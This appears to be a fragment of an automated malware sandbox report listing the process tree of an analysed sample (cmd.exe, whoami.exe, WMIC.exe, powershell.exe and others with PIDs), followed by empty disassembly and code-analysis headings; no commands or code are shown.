	Analysis Process: cmd.exe PID: 5544 Parent PID: 5268
	General

	Analysis Process: cmd.exe PID: 6300 Parent PID: 5268
	General

	Analysis Process: conhost.exe PID: 3732 Parent PID: 5544
	General

	Analysis Process: cmd.exe PID: 5848 Parent PID: 5268
	General

	Analysis Process: conhost.exe PID: 4432 Parent PID: 6300
	General

	Analysis Process: whoami.exe PID: 3200 Parent PID: 5544
	General

	Analysis Process: conhost.exe PID: 4936 Parent PID: 5848
	General

	Analysis Process: attrib.exe PID: 6780 Parent PID: 6300
	General

	Analysis Process: powershell.exe PID: 1068 Parent PID: 5848
	General

	Analysis Process: cmd.exe PID: 4624 Parent PID: 7120
	General

	Analysis Process: cmd.exe PID: 6636 Parent PID: 5268
	General

	Analysis Process: conhost.exe PID: 1904 Parent PID: 4624
	General

	Analysis Process: conhost.exe PID: 4348 Parent PID: 6636
	General

	Analysis Process: cmd.exe PID: 7084 Parent PID: 7120
	General

	Analysis Process: WMIC.exe PID: 2828 Parent PID: 6636
	General

	Analysis Process: conhost.exe PID: 2260 Parent PID: 7084
	General

	Analysis Process: WMIC.exe PID: 1760 Parent PID: 7084
	General

	Analysis Process: cmd.exe PID: 6868 Parent PID: 5268
	General

	Analysis Process: conhost.exe PID: 5624 Parent PID: 6868
	General

	Analysis Process: WMIC.exe PID: 4488 Parent PID: 6868
	General

	Analysis Process: cmd.exe PID: 6628 Parent PID: 5268
	General

	Analysis Process: conhost.exe PID: 6196 Parent PID: 6628
	General

	Analysis Process: cmd.exe PID: 3696 Parent PID: 5268
	General

	Analysis Process: conhost.exe PID: 6068 Parent PID: 3696
	General

	Analysis Process: WMIC.exe PID: 3336 Parent PID: 3696
	General

	Analysis Process: cmd.exe PID: 3076 Parent PID: 5268
	General

	Analysis Process: cmd.exe PID: 6632 Parent PID: 7120
	General

	Analysis Process: conhost.exe PID: 3180 Parent PID: 3076
	General

	Analysis Process: conhost.exe PID: 4632 Parent PID: 6632
	General

	Analysis Process: whoami.exe PID: 5684 Parent PID: 3076
	General

	Analysis Process: whoami.exe PID: 1244 Parent PID: 6632
	General

	Analysis Process: cmd.exe PID: 7080 Parent PID: 5268
	General

	Analysis Process: cmd.exe PID: 6788 Parent PID: 7120
	General

	Analysis Process: conhost.exe PID: 3752 Parent PID: 7080
	General

	Analysis Process: conhost.exe PID: 2248 Parent PID: 6788
	General

	Analysis Process: whoami.exe PID: 5792 Parent PID: 7080
	General

	Analysis Process: whoami.exe PID: 6036 Parent PID: 6788
	General

	Analysis Process: cmd.exe PID: 3312 Parent PID: 5268
	General

	Analysis Process: cmd.exe PID: 5756 Parent PID: 7120
	General

	Analysis Process: conhost.exe PID: 5568 Parent PID: 3312
	General

	Analysis Process: conhost.exe PID: 5388 Parent PID: 5756
	General


	Disassembly
	Code Analysis



